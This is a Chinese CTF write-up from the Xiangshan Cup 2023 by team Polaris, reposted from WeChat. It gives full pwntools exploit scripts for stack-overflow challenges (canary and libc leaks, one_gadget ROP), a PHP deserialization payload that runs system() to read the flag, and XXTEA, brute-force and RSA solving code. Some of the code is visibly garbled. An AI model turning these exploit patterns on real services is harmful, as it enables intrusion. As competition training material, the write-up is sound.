香山杯2023 WP -Polaris

admin 2023年10月16日18:21:49评论168 views字数 7664阅读25分32秒阅读模式

01

PWN



1.

move

简单的栈溢出。

#!/usr/bin/env python3# -*- coding:utf-8 -*-
from pwn import *context.clear(arch='amd64', os='linux', log_level='debug')
sh = remote('47.93.188.210', 23106)
sh.sendafter(b'lets travel again!n', flat([0x405f00, 0x40121A, 0, 0]))sh.sendafter(b'setp number', p32(0x12345678))
sh.sendafter(b'TaiCooLa', cyclic(48) + flat([0x4050A0, 0x40124b]))sh.sendafter(b'TaiCooLa', flat([0x405e00, 0x401353, 0x404018, 0x401080, 0x40121A, 0, 0x405ed0, 0x000000000040124b]))libc_addr = u64(sh.recvn(6) + b'00') - 0x80970success('libc_addr: ' + hex(libc_addr))sh.sendafter(b'TaiCooLa', flat([0x405d00, libc_addr + 0x4f302, 0x404018, 0x401080, 0x40121A, 0, 0x405dd0, 0x000000000040124b]))
sh.interactive()

2.

pwthon

通过测试找到触发漏洞的PoC:

sh = remote(attach_host, 9541)sh.sendlineafter(b'> ', b'0')sh.send(b'0' * 0x100 + b'1' * 0x180)sh.recvuntil(b'gift ')app_addr = int(sh.recvline(), 16) - 0x68b0success('app_addr: ' + hex(app_addr))

根据Poc编写利用脚本:

#!/usr/bin/env python3# -*- coding:utf-8 -*-
from pwn import *context.clear(arch='amd64', os='linux', log_level='debug')
sh = remote('101.201.35.76', 45057)
sh.sendlineafter(b'> ', b'0')
sh.send(b'0' * 0xd9)sh.recvuntil(b'0' * 0xd9)canary = u64(b'0' + sh.recvn(7))success('canary: ' + hex(canary))sh.send(b'0')
sh.sendlineafter(b'> ', b'0')sh.send(b'2' * 0x20)sh.recvuntil(b'2' * 0x20)libc_addr = u64(sh.recvn(6) + b'00') - 0x4473b0success('libc_addr: ' + hex(libc_addr))sh.send(b'0')
sh.sendlineafter(b'> ', b'0')sh.send(b'1234')sh.recvuntil(b'gift ')sh.recvuntil(b'1234')sh.send(cyclic(264) + flat([canary, 0, libc_addr + 0x4f302]) + b'0' * 0x60)
sh.interactive()

02

RE



1.

url从哪里来

程序在TMP创建目录了一个子进程 

进入目录逆向分析

子进程是一个动态解密URL 并发送请求的过程

动态调试 在内存中发现一个base64编码的字符串

解密后就是flag

2.

hello_py

进入运行中的app中 搜索hello有关的文件

香山杯2023 WP -Polaris

取出来hello.pyc 然后反编译 发现是一个xxtea加密

//#include <stdio.h>#include <stdint.h>#define DELTA 0x9e3779b9#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z))) void btea(uint32_t *v, int n, uint32_t const key[4]){    uint32_t y, z, sum;    unsigned p, rounds, e;    if (n > 1)            /* Coding Part */    {        rounds = 6 + 52/n;        sum = 0;        z = v[n-1];        do        {            sum += DELTA;            e = (sum >> 2) & 3;            for (p=0; p<n-1; p++)            {                y = v

;                z = v

+= MX;            }            y = v[0];            z = v[n-1] += MX;        }        while (--rounds);    }    else if (n < -1)      /* Decoding Part */    {        n = -n;        rounds = 6 + 52/n;        sum = rounds*DELTA;        y = v[0];        do        {            e = (sum >> 2) & 3;            for (p=n-1; p>0; p--)            {                z = v

;                y = v

-= MX;            }            z = v[n-1];            y = v[0] -= MX;            sum -= DELTA;        }        while (--rounds);    }}
int main(){    uint32_t v[12]={689085350, 626885696, 1894439255, 1204672445, 1869189675, 475967424, 1932042439, 1280104741, 2808893494};    uint32_t const k[4]={12345678, 12398712, 91283904, 12378192};    unsigned int r=9;//num_rounds建议取值为32    // v为要加密的数据是两个32位无符号整数    // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
       btea(v, -9, k);   printf("%s",v);    return 0;}

3.

nesting

通过大量测试

发现题目是一个类似指令模拟的功能 

sub_16BC 函数负责模拟指令。

__int64 __fastcall run_code(nest *a1){    ...        else if ( (unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200] >= 8u )        {          switch ( a1->field_0[(unsigned __int16)a1->field_1200] )          {            case 8:              *(&a1->result + (unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200 + 1]) = (unsigned __int8)a1->field_0[v8];              a1->field_1200 += 3;              break;            case 0xA:              *(&a1->result + (unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200 + 1]) = ((unsigned __int8)a1->field_0[v8 + 1] << 8) | (unsigned __int8)a1->field_0[v8];              a1->field_1200 += 3;              break;            case 0x18:              a1->field_0[*((unsigned __int16 *)&a1->result                          + (unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200 + 1])] = v8;              a1->field_1200 += 3;              break;            case 0x1A:              a1->field_0[*((unsigned __int16 *)&a1->result                          + (unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200 + 1])] = v8;              a1->field_0[*((unsigned __int16 *)&a1->result                          + (unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200 + 1])                        + 1] = HIBYTE(v8);              a1->field_1200 += 3;              break;            case 0x28:              a1->field_1204 = v8 == *(&a1->result + (unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200 + 1]); // 0x1E21              a1->field_1200 += 3;              break;            case 0x29:              a1->field_1204 = *((unsigned __int16 *)&a1->result                               + (unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200 + 1]) == ((unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200 + 2] | ((unsigned __int8)a1->field_0[(unsigned __int16)a1->field_1200 + 3] << 8)); // 0x1EC9              a1->field_1200 += 4;              break;            default:              return 0LL;          }        }      }    }    return 0LL;  }  ...

因为flag需要进行验证是否正确

所以这个模拟指令系统肯定会有判断是否相等的指令

通过分析找到两处判断点:0x1E21和0x1EC9。


随后对这两个地址进行测试

发现0x1E21的触发次数和输入是相关的。

通过输入"f","fl","fla","flag"字符串发现0x1E21的触发次数依次递增,因此猜测flag是逐字节进行比较的。通过输入"f0","fl","fz"发现"fl"字符串0x1E21触发次数最多,因此猜测字符串同长度下,正确的字符组合所触发的0x1E21次数最多。


根据以上逻辑写出爆破脚本:

#!/usr/bin/env python3# -*- coding:utf-8 -*-
from pwn import *context.clear(arch='amd64', os='linux', log_level='error')
def run(content):    sh = process(['./nesting.patched'])    sh.sendline(content.encode())    result = sh.recvrepeat(1)    sh.close()    return result.count(b'#')
flag = ''table = string.printable
while(True):    max_chr = 0    max_value = 0    for chr in table:        tmp = run(flag + chr)        if tmp > max_value:            max_chr = chr            max_value = tmp    flag += max_chr    print(flag)

最终可得 

flag{2c7c093b-f648-11ed-a716-701ab8caaafe}


03

Crypto



1.

lift

# !/usr/bin/env python3.10# -*- coding: utf-8 -*-
import gmpy2from Crypto.Util.number import *hint = 251n = 108960799213330048807537253155955524262938083957673388027650083719597357215238547761557943499634403020900601643719960988288543702833581456488410418793239589934165142850195998163833962875355916819854378922306890883033496525502067124670576471251882548376530637034077E = 3359917755894163258174451768521610910491402727660720673898848239095553816126131162471035843306464197912997253011899806560624938869918893182751614520610693643690087988363775343761651198776860913310798127832036941524620284804884136983215497742441302140070096928109039c = 72201537621260682675988549650349973570539366370497258107694937619698999052787116039080427209958662949131892284799148484018421298241124372816425123784602508705232247879799611203283114123802597553853842227351228626180079209388772101105198454904371772564490263034162e=E//hint## P.<x> = PolynomialRing(Zmod(n))# f = e * x - 1# root = f.monic().small_roots(X=2**257,beta=0.5)[0]# g = gcd(int(e * root - 1),N)d=39217838246811431279243531729119914044224429322696785472959081158748864949269g=23153425300889483483553551112335873301449089474555179592930187730428387181422112282990079197590872977617830286073037301064978277511828551780538222539198674709759058026997715121p=gmpy2.iroot(g,4)[0]q=n//(p**5)phi = p ** 4 * (p - 1) * (q - 1)m251=pow(c,d,n)d1=inverse(e,phi)print(pow(c,d1,n))c=65942580064916339360370107869124805065379278407453423807322070174933076533175126747570263707923877730828981200462382452332851764309132627867196012329998008639862606922074733109347253946308226346992240834103573312752632998287455123587460568157234254421846676210189p,q=69367143733862710652791985332025152581988181 ,67842402383801764742069883032864699996366777c=c%(p**3*q)#脚本1#Sagee = 251for mp in Zmod(p**3)(c).nth_root(e, all=True):    for mq in GF(q)(c).nth_root(e, all=True):        m = crt([ZZ(mp), ZZ(mq)],

)        try:            res =long_to_bytes(int(m))            if b'flag' in res or b'ctf' in res or b'FLAG' in res or b'CTF' in res:                print(res)            # if b'flag' in res :            #     print(res)
       except:            pass

04

MISC



1.

签到

base64 ->凯撒

先base64解密:iodj{zh1f0p3_2_Fwi}

丢随波逐流里,凯撒解密得到:

flag{we1c0m3_2_Ctf}


05

WEB



1.

PHP_unserialize_pro

简单的反序列化,直接上exp:

<?phpclass Welcome{     public $name="A_G00d_H4ck3r";     public $arg;}
class G00d{     public $shell;     public $cmd="more /[e-i]1[1-z][e-i]";}
class H4ck3r{    public $func;} $a=new Welcome();$a ->arg=new H4ck3r();$a ->arg ->func=new G00d();$a ->arg ->func ->shell="system";echo serialize($a);

得到payload正常传参即可。

文末:

欢迎师傅们加入我们:

星盟安全团队纳新群1:222328705

星盟安全团队纳新群2:346014666

有兴趣的师傅欢迎一起来讨论!

香山杯2023 WP -Polaris

原文始发于微信公众号(星盟安全):香山杯2023 WP -Polaris

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月16日18:21:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   香山杯2023 WP -Polarishttp://cn-sec.com/archives/2117313.html

发表评论

匿名网友 填写信息